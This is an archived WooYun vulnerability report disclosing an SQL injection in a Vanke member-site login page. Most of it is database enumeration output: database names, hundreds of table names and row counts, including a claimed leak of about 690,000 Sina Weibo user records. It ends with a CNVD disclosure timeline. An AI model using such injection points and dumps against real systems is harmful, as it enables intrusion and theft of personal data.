乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-01-19: 细节已通知厂商并且等待厂商处理中 2016-01-22: 厂商已经确认,细节仅向厂商公开 2016-02-01: 细节向核心白帽子及相关领域专家公开 2016-02-11: 细节向普通白帽子公开 2016-02-21: 细节向实习白帽子公开 2016-03-05: 细节向公众公开
RT
http://**.**.**.**/default/
**.**.**.** **.**.**.**
http://**.**.**.** /app/login.asp?work=UserLoginCk
current user: 'vankehui'current database: 'vankehui'
available databases [14]:[*] aaa[*] apptest[*] distribution[*] master[*] model[*] msdb[*] tempdb[*] VankeAgenSMS[*] vankeapp11[*] vankehui2012[*] VankeSMS[*] VankeStat2009[*] VankeStatHistory[*] VankeStatistic
Database: vankehui[707 tables]+------------------------------------------+| 2010May || 51teambuylist || 8YearsSeason5 || 8YearsSeason6 || Action_new10_2013 || ActiveGift2009Order || ActiveGift2009Product || ActivityCy || Activityjl || AdminUserLoginHistory || AdminUserLoginHistory || Admin_Role || Admin_Role || AdsGateway || AdsOutClass || AdsOutList || AllocationTo || ApplyIntegral || ArborDay2010 || ArborDay2011 || AuctionDemo || AuctionHistory || AuctionLang || Auction_Ware || AuthorList || BBSIDlist || BabyDiaryList || BabyDiaryList || BabyDiaryView || BabyList || BabyListView || BabyShow || BabyShowView || BabyShowVote || BaishazhouVote || BaoXiuMail || BaoXiuMail || BigBang2012_act01 || Blessing || BookShopMemberOrder || BookShopMemberOrder || BookShopUserOrder || BookShopUserOrder || Carnival2008 || ChangePresent || ChefVote || ChildrenDay2012_weibo_repost || ClassList || Complaints || ContactLog || CountApplyIntegral || CrossOver || Dv_Appraise || Dv_BbsLink || Dv_BbsNews || Dv_BestTopic || Dv_BoardPermission || Dv_BoardPermission || Dv_Boke_KeyWord || Dv_Boke_Post || Dv_Boke_Skins || Dv_Boke_SysCat || Dv_Boke_System || Dv_Boke_Topic || Dv_Boke_Upfile || Dv_Boke_UserCat || Dv_Boke_UserCat || Dv_Boke_UserSave || Dv_BookMark || Dv_ChallengeInfo || Dv_ChanOrders || Dv_Friend || Dv_GroupName || Dv_GroupUser || Dv_Group_Board || Dv_Group_Class || Dv_Group_Topic || Dv_Group_bbs || Dv_Log || Dv_Message || Dv_MoneyLog || Dv_Online || Dv_Plus_Tools_Buss || Dv_Plus_Tools_Buss || Dv_Plus_Tools_Info || Dv_Plus_Tools_MagicFace || Dv_Qcomic || Dv_Setup || Dv_SmallPaper || Dv_Space_skin || Dv_Space_user || Dv_StyleHelp || Dv_TableList || Dv_Templates || Dv_Topic || Dv_Upfile || Dv_UserAccess || Dv_UserAccess || Dv_UserGroups || Dv_Usertemp || Dv_Vote || Dv_VoteUser || Dv_admin || Dv_bbs2 || Dv_bbs3 || Dv_bbs4 || Dv_bbs5 || Dv_bbs6 || Dv_bbs7 || Dv_bbs8 || Dv_bbs9 || Dv_help || ElementsReg2 || ElementsReg2 || Event2014_WordCup_Dictionary || Event2014_WordCup_QuizConfing || Event2014_WordCup_QuizList || Event2014_WordCup_QuizResult || Event2014_WordCup_Schedule || Event2014_WordCup_Teamlist || Event2014_WordCup_User || Event2014_WordCup_goodsexchange || Event2014_WordCup_goodsexchange || Event2014_WordCup_score || Event2015_App_Redpack_Scores || Event2015_App_Redpack_Users || Event2015_SignUp || Event_2011ChoujCy_Gg || Event_2011ChoujCy_Gg || Event_2011ChoujCy_message || Event_2012_YunJing_ProductList || Event_2012_YunJing_StageList || Event_201361_Gift || Event_201361_Info || Event_2014cup_Imgdata || Event_2014dzp_info || Event_2014dzp_neibu || Event_2014dzp_prize || Event_2014music_info || Event_2014music_info || Event_Ad20130618 || Event_Charm66JoinMember || Event_Christmas2012Log || Event_Christmas2012Prize || Event_Dance2011 || Event_Dream2011 || Event_GoldCity2012_renchou || Event_GoldCitySOHO2012 || Event_GoldenCityad07172012 || Event_Groupon2011Mail || Event_Groupon2011Mail || Event_GrouponInfo || Event_HKLegend_AnswerPeopleList || Event_HappyIsland2012 || Event_HappyIsland2012Xls || Event_HappyPinglun_2011 || Event_HappySend2012_Member || Event_HappySend2012_Member || Event_HappySend2012_Readytobuy || Event_HappySign_2011 || Event_HappyVoteInfo_2011 || Event_HappyVote_2011 || Event_HotGuest || Event_Jscsask1108 || Event_LoveVanke_2011 || Event_MLXC_2014 || Event_Mather2011 || Event_MatherRemainSay || Event_MothersDayVideo || Event_Movie2014_List || Event_Movie2014_MoiveArea || Event_Movie2014_votelog || Event_NewYear2014_JoinList || Event_NewYear2014_PrizeList || Event_Olympic2012_jl || Event_Olympic2012_jl || Event_Pal || Event_PrivateHomeCuisine2013_JoinList || Event_PrivateHomeCuisine2013_MessageList || Event_PrivateHomeCuisine2013_NumberList || Event_PrivateHomeCuisine2013_VoteList || Event_RegisterMember_jylw || Event_ScratchLog || Event_ServiceStar2013_PriceLog || Event_ServiceStar2013_PriceLog || Event_ServiceStar2013_PriceSet || Event_ServiceStar2013_VoteLog || Event_SingerOnline2012 || Event_Sunruixue2012 || Event_TheWorldCupGame || Event_TheWorldCupGuessRecord || Event_TheWorldCupJoinMember || Event_Tuan_QuestList || Event_Tuan_UserWeiboKeyWord || Event_Tuan_UserWeiboList || Event_Vmovie2012_Msg || Event_Vmovie2012_Prize || Event_VppWork2 || Event_VppWork2 || Event_bookproject_2013 || Event_dengji_zyw_2015 || Event_dianyingzhan2012 || Event_education2013 || Event_guanggu2013_News || Event_guanggu2013_News || Event_guanggu2013_Score || Event_guanggu2013_Type || Event_guojifan_2012 || Event_hanyanglovePinglun_2012 || Event_hanyanlove_2012 || Event_happiness_info || Event_happiness_log || Event_hkcoffee_2013 || Event_hkcqdj_2013 || Event_hygjLove_2012 || Event_jiayou2011 || Event_jiayuan_2014 || Event_jscschoujiang2012 || Event_jscsdj_2013 || Event_lyric_2012 || Event_mdl2013Gezi || Event_mdl2013PrizeLog || Event_mdl2013PrizeLog || Event_mdl2013PrizeRound || Event_mdl2013PrizeUser || Event_qiangpiao2014_Records || Event_qianren2013 || Event_tuangou10_2011 || Event_valentine2012 || Event_viGuessRecord || Event_viTheWorldCupJoinMember || Event_wing2013Extra || Event_wing2013Extra || Event_wing2013Normal || Event_wkjc_2013 || Event_wxjf_book || Event_wxjf_bookset || Event_zaiyiqi_2014 || Experience08 || FeiChengWuRaoVote || FeiChengwuraoGuest || FromList || Functiones || FundListCount || FundListCount || FundListView || Fundadd || Games2008MC || Games2008MC || Games2008Open || GiftMall || GiftSendedDetail || GoldMedal2008Guess || GoldenCityReg2 || GoldenCityReg2 || GoldenHomeLoft || Golden_banner2012 || Golden_integral || Golden_present2012 || Golden_userInfo2012 || Goldmedal2008End || GolfCollegePic || GolfCollegeVote || GolfReg || GolfSpring2009Config || GolfSpring2009Config || GreenBookSeat || HanYangGuoJiDengGi2013 || HappySummerReg || HomePro2009 || HouseCenterArea || HouseCenterArea || HouseCenterCase || HouseCenterList || InsertList || IpodGift || IpodGiftSeat || Jindu || JobList || JobMail || JobReplyList || JobReplyList || LD_User || Laisee || LaiseeSeat || Links || LivingPodThree || LivingPodVote || LivingpodEight || LivingpodFive || LivingpodFour || LivingpodNine || LivingpodSeven || LivingpodSix || LivingpodTwo || LoginLock || LoginWrongLog || LotteryAward || LotteryJoinList || LotteryListView || LotteryProduct || LoveStory_2012 || ML_GroupBuy || ML_GroupVote || MaYiReg || MagazineOrderList || MagazineOrderList || MagazineVote || MailList || ManagementFeePrintHistory || ManagementFeePromotions || MarketAnalysisGroup || MarketAnalysisGroup || MarketAnalysisImport || MarketAnalysisIndex || MarketAnalysisList || MarketAnalysisUser || MarketCenter || MemberActiveScores || MemberBBSInfo || MemberCaseCount || MemberCaseCount || MemberCaseUpdate || MemberComplaintDetail || MemberComplaintDetail || MemberDele || MemberDelivers || MemberGoldenTypeHistory || MemberImport || MemberInfoChangeList || MemberSatisfaction || MemberUpdateGolden || Member_Birthday || Member_Birthday || Membercaseurl || More2008 || More2008Vote || Music2009_Form || Music2009_FormView || News_Keyword || News_Keyword || News_Speciality || News_Template || NoticeCardPost || NoticeMaster || NoticeMemberCard || NoticeProduct || NoticePutUp || Order_2013_goods || Order_2013_goodtype || Order_2013_list || Order_2013_mingxi || Order_2013_part || Order_2013_qiandao || Order_2013_sysconfing || Order_2013_user || OrientalBookOrder || OrientalUser || P_VouchersMember || P_VouchersOrderList || P_VouchersOrderList || P_VouchersParent || P_VouchersProduct || ParadisoReg || Pioneer2009 || PioneerBookBus || PioneerBookBus || PioneerBookOrder || PioneerBookOrderTotal || PioneerFilmList || PioneerFilmList || PioneerFilmOrder || PioneerFilmVote || PioneerMobileJoin || PrizeThingsjyhf || PrizeThingsjyhf || ProjectPrice || ProjectProgress || RS_Song || RS_dvd || RecordSrch || SalesShow || SayLove_JoinMember || SayLove_Record || ScoresCycle || ScoresDetails_1 || ScoresDetails_1 || ScoresDetails_Before34 || ScoresDetails_Minus_1 || ScoresDetails_Minus_1 || ScoresDetails_bak20130701 || ScoresDetails_weibo_temp || ScoresDetails_weibo_temp || ScoresNegative || ScoresPrintHistory || Sgin_bbjx_dengji || Sgin_bbjx_votes || Sgin_movie2011_dengji || ShangJia_FAQ || ShangJia_FAQ || ShangJia_Product || Sheet1$ || Sign_taobao_2011 || Spring2009 || Spring2009vanke || TS_AdminFile || TS_AdminFile || TS_AdminLog || TS_BindingHistory || TS_BindingHistory || TS_ExamAnswer || TS_ExamAnswer || TS_ExamClass || TS_ExamQuestion || TS_Sales || TS_TeamManagerHistory || TS_TeamManagerHistory || TeamBuyList || TeamBuyList || TeamBuyReport || Ticket2007III || Ticket2007III || Ticket2007III || Ticket2007IIuser || Ticket2007ListIII || Ticket2007ListIII || Ticket2007ListIII || Ticket2008Movie || Ticket2008Movie || TouGao || Tuan_GameAlog || Tuan_LoginLog || Tuan_My_statuses_2013 || Tuan_My_statuses_repost_2013 || Tuan_proess_see || Tuan_user_2013 || Tuan_weibouser_2013 || Tuan_weibouser_Relation_2013 || UsersFunction || UsersFunction || UsonianReg2 || UsonianReg2 || VIEW1 || V_Event2014_WordCup_QuizList || V_Event2014_WordCup_Schedule || V_Order_2013_goods || V_Order_2013_list || V_Order_2013_mingxi || V_Order_2013_qiandao || V_Order_2013_user || V_PrivateHomeCuisine2013_MessageList || V_YunJing_Product_List || V_event_qprecord || V_qpuser2012 || V_sign_smilesListzy2012 || ValentineDay0214_record || VankeCityReg2 || VankeCityReg2 || VankeCompany || VankeDict || VankeLifeDetail || VankeLifeDetail || VankeMailLog || VankeSMSLog || VankeSmsBlack || View_AdminInfo || View_Birthday || View_Christmas2012Log || View_Event_Mdl2003PrizeLog || View_Event_QiangPiaoUser || VisitorComment || VoteAnswer || VoteQuestion || Vote_class || WorkHistory || Xmas2008Order || Xmas2008OrderStatu || Xmas2008Product || Xmas2008ProductTemp || Xmas2009Order || Xmas2009Product || Youth2 || Event_wing2013GUID || case || aaa || active2011_wenjuan || active2011_zhufucontent || active2011_zhufuuser || active_Ipad || active_message || active_singapore || ant2008 || assembly_reg || babyReview || badmintonVote_2011 || bbjx_dhjhj_2011 || bbjx_hyjhhj_2011 || bbjx_liuliang_2011 || bbjx_qmzhj_2011 || bbjx_tphdhj_2011 || bbjx_vksj_2011 || cheatsite || cms_AdvertClasses || cms_Adverts || cms_Authors || cms_DynamicTemplates || cms_Keyswords || cms_MailAddressTypes || cms_MailAddresses || cms_MailConfigs || cms_MailLogs || cms_NewsAgrees || cms_NewsAgrees || cms_NewsClasses || cms_NewsCommentAgrees || cms_NewsComments || cms_NewsPagings || cms_NewsSources || cms_NewsTemplates || cms_PageTemplates || cms_Specialities || cms_StaticTemplates || dengjiTB || diarycounts || dtproperties || dv_bbs1 || event_2012hygj_list || event_2012wkyfz_list || event_72hour_2012 || event_Olympic2012news_2012 || event_ValentineDay_2012 || event_WKmusic_2012 || event_classroom_2012 || event_dbzdj_2012 || event_dbzmusic_2012 || event_dbzno_2012 || event_gaojia || event_guolewujiang2011 || event_hygj2012_shitu || event_hygj2012_users || event_hygjganen2012_qiao || event_hygjganen2012_qiao || event_hygjganen2012_xy || event_hygjxxtp_2011 || event_lanwanchoujiang2014_info || event_lanwanchoujiang2014_prize || event_lpdxy_2012 || event_mooncake_2014 || event_qprecord || event_qpsite || event_qpuser2012 || event_qpuserlist || event_questionnaire_2012 || event_sdgyName_2012 || event_whvankesp_2012 || event_whvankeyd_2012 || event_xfjzjqc_2012 || event_ygxkfdj_2012 || event_ygxrs_2012 || game201102_user || game2011_user || goldmedal2008_temp || goldmedal2008_temp || hfweb_book || hfweb_colligate || hfweb_item || hfweb_vote || jQuestion || jiehun2012_votes || jilujyhf || jilujyhf || jinsekaipan2013 || jsfeedback_Participate || jsfeedback_default || jsfeedback_winning || jsgw2011_wenjuan || messages_2012 || motherday2012_weibo_repost || nQuestion || nickname || prizeUserjyhf || prizeUserjyhf || registerjyhf || registerwh || renchou || repostlist || repostscores || sagin_BigBang2012_app || sagin_BigBang2012_apptoupiao || sagin_whggkjscs_2012 || sgin_Answer2012 || sgin_BigBang2012 || sign_AprilFlower_2012 || sign_CarWash2012 || sign_Hongregin2011 || sign_RmalLife2012 || sign_baby2012zy || sign_baoming2011 || sign_gangxu2012 || sign_gunshi2012 || sign_guole2011 || sign_guole2011 || sign_haitong2012 || sign_jiehun2012zy || sign_neiding || sign_photo2012s || sign_prizeguole2011 || sign_regin2011 || sign_smilesListzy20121 || sign_smilesListzy20121 || sign_vMovie2012ZP || signup_WKfchdj_2011 || signup_WKhanyangguoji_2011 || signup_WKhongjunchengjuxi_2011 || signup_WKjinsechengshi_2011 || signup_WKqinshuiyouyue_2012 || signup_hygjhjxx1_2011 || signup_hygjhjxx2_2011 || signup_hygjxxdj_2011 || smile20121View || smilesPrize || smileszy2012_votes || spring2011 || sys_AccountLogs || sys_AccountRoles || sys_Accounts || sys_Dictionary || sys_Functions || sys_Logs || sys_RoleFunctions || sys_Roles || sys_SMSLog || tbl_AuctionClass || tbl_AuctionGoods || tbl_AuctionHuodong || tbl_AuctionRecord || tbl_merchantInfo || temp_Pal || temp_score || tsys_PageContentInsert || tsys_pageclass || tsys_pageclass || tsys_pagenews || tuan_money_log || tuanlinshi || tuanuserallcoutbytime || tuanuserallcoutbytime || tuanuserallcoutbytime || tuanusercoutbytime || tuanusercoutbytime || userdy || userdy || v_ChildrenDay2012_weibo_repost || v_HaiTong2012 || v_bbb1 || v_cccc || v_lishi || v_motherday2012_weibo_repost || v_tuan_money_log || vanke_My_statuses_repost || vanke_My_statuses_repost || view_AllNewsInfo || view_NewsInfo2 || view_NewsInfo2 || vip_ScoreGiftCycles || vip_ScoreGiftOrders || vip_ScoreGiftParts || vip_ScoreGifts || vks || vote_2012_info || vote_2012_info || vote_2012_info || votes || vw_Event2015_App_Redpack_Scores || vw_Event2015_App_Redpack_Users || vw_GoldMemberType || vw_MemberCase_Case_Last || vw_MemberCase_Last || vw_MemberSatisfaction || vw_MemberUpdate_Address || vw_MemberUpdate_Phone || vw_ScoresDetails || vw_cms_Adverts || vw_cms_MailAdresses || vw_cms_News || web_Process || web_Service || weibo_userrepost || wkh_weibo_user || wkh_weibo_user || wx_Activity || wx_ActivityRecords || wx_ActivityTemplates || wx_AnswerItems || wx_ApiUsers || wx_AppConfigs || wx_Apps || wx_Contacts || wx_FAQs || wx_GuestBooks || wx_Messages || wx_NewsResources || wx_PublicAccounts || wx_Qrcodes || wx_TemplateMessages || xfreg2011 || zk |+------------------------------------------+
Database: vankehui+----------------------------------------------+---------+| Table | Entries |+----------------------------------------------+---------+| dbo.Tuan_weibouser_Relation_2013 | 831182 || dbo.Tuan_weibouser_2013 | 692951 || dbo.tuanuserallcoutbytime | 692951 || dbo.tuanuserallcoutbytime | 692951 || dbo.tuanuserallcoutbytime | 692951 || dbo.tuanusercoutbytime | 692951 || dbo.tuanusercoutbytime | 692951 || dbo.tuan_money_log | 570667 || dbo.v_tuan_money_log | 570667 || dbo.dv_bbs1 | 355900 || dbo.Dv_bbs8 | 276678 || dbo.MemberInfoChangeList | 261440 || dbo.Dv_bbs4 | 260292 || dbo.Dv_bbs7 | 227930 || dbo.Dv_bbs6 | 219426 || dbo.ScoresDetails_1 | 217358 || dbo.ScoresDetails_1 | 217358 || dbo.ScoresDetails_bak20130701 | 199731 || dbo.ScoresDetails_Before34 | 199360 || dbo.Dv_bbs3 | 180964 || dbo.vanke_My_statuses_repost | 177878 || dbo.vanke_My_statuses_repost | 177878 || dbo.Dv_Topic | 170695 || dbo.Dv_bbs2 | 170305 || dbo.SayLove_Record | 167832 || dbo.Dv_bbs5 | 138198 || dbo.Dv_Upfile | 121422 || dbo.Tuan_My_statuses_repost_2013 | 98413 || dbo.AllocationTo | 96653 || dbo.vw_ScoresDetails | 77189 || dbo.Member_Birthday | 76900 || dbo.Member_Birthday | 76900 || dbo.VankeSMSLog | 73727 || dbo.Event_PrivateHomeCuisine2013_VoteList | 73150 || dbo.BabyShowVote | 63700 || dbo.Tuan_LoginLog | 62581 || dbo.ProjectProgress | 61000 || dbo.MemberCaseCount | 60993 || dbo.MemberCaseCount | 60993 || dbo.MemberCaseUpdate | 60921 || dbo.vw_MemberCase_Case_Last | 58658 || dbo.vw_MemberCase_Last | 57773 || dbo.v_lishi | 57286 || dbo.Event_Tuan_UserWeiboList | 48059 || dbo.ScoresDetails_weibo_temp | 48011 || dbo.ScoresDetails_weibo_temp | 48011 || dbo.Dv_Log | 42506 || dbo.Event_GoldCity2012_renchou | 37410 || dbo.nickname | 36179 || dbo.MemberBBSInfo | 34455 || dbo.vw_MemberUpdate_Address | 33275 || dbo.vw_MemberUpdate_Phone | 33095 || dbo.event_qpuser2012 | 32992 || dbo.Dv_Appraise | 30619 || dbo.[Event_wing2013GUID ] | 30020 || dbo.V_qpuser2012 | 28226 || dbo.MemberActiveScores | 27422 || dbo.Event_happiness_log | 24745 || dbo.Dv_Message | 23592 || dbo.VankeSmsBlack | 21989 || dbo.Event_TheWorldCupGuessRecord | 18388 || dbo.Event_viGuessRecord | 18388 || dbo.MemberGoldenTypeHistory | 16214 || dbo.vw_GoldMemberType | 15452 || dbo.Jindu | 14218 || dbo.Dv_VoteUser | 13772 || dbo.tuanlinshi | 13035 || dbo.Event_HappySend2012_Member | 12950 || dbo.Event_HappySend2012_Member | 12950 || dbo.NoticePutUp | 11215 || dbo.MemberSatisfaction | 10446 || dbo.Tuan_user_2013 | 10363 || dbo.smileszy2012_votes | 10344 || dbo.Event2014_WordCup_QuizList | 9089 || dbo.V_Event2014_WordCup_QuizList | 9089 || dbo.MagazineOrderList | 8669 || dbo.MagazineOrderList | 8669 || dbo.ScoresDetails_Minus_1 | 8615 || dbo.ScoresDetails_Minus_1 | 8615 || dbo.AdsOutList | 7898 || dbo.LoveStory_2012 | 7884 || dbo.Dv_Usertemp | 7758 || dbo.vw_MemberSatisfaction | 7647 || dbo.Event_Olympic2012_jl | 6959 || dbo.Event_Olympic2012_jl | 6959 || dbo.BabyDiaryView | 6857 || dbo.BabyDiaryList | 6853 || dbo.BabyDiaryList | 6853 || dbo.Sgin_bbjx_votes | 6485 || dbo.Event_HappySend2012_Readytobuy | 6415 || dbo.event_qpuserlist | 6243 || dbo.Event2014_WordCup_score | 5866 || dbo.temp_score | 5865 || dbo.Dv_bbs9 | 5851 || dbo.view_AllNewsInfo | 5242 || dbo.LivingpodNine | 5153 || dbo.View_Event_QiangPiaoUser | 5129 || dbo.ParadisoReg | 5036 || dbo.Sgin_bbjx_dengji | 4967 || dbo.view_NewsInfo2 | 4740 || dbo.view_NewsInfo2 | 4740 || dbo.zk | 4475 |。。。。。。。
692951新浪微博用户信息泄露
可跨库:Database: VankeStat2009+--------------------------------------------------+---------+| Table | Entries |+--------------------------------------------------+---------+| dbo.address | 287912 || dbo.Origin_Page | 204924 || dbo.[View] | 78936 || dbo.Client | 58706 || dbo.Online | 1204 || dbo.Site | 4 |+--------------------------------------------------+---------+
同上
过滤。。。。。。。
危害等级:高
漏洞Rank:10
确认时间:2016-01-22 11:02
CNVD确认并复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。
暂无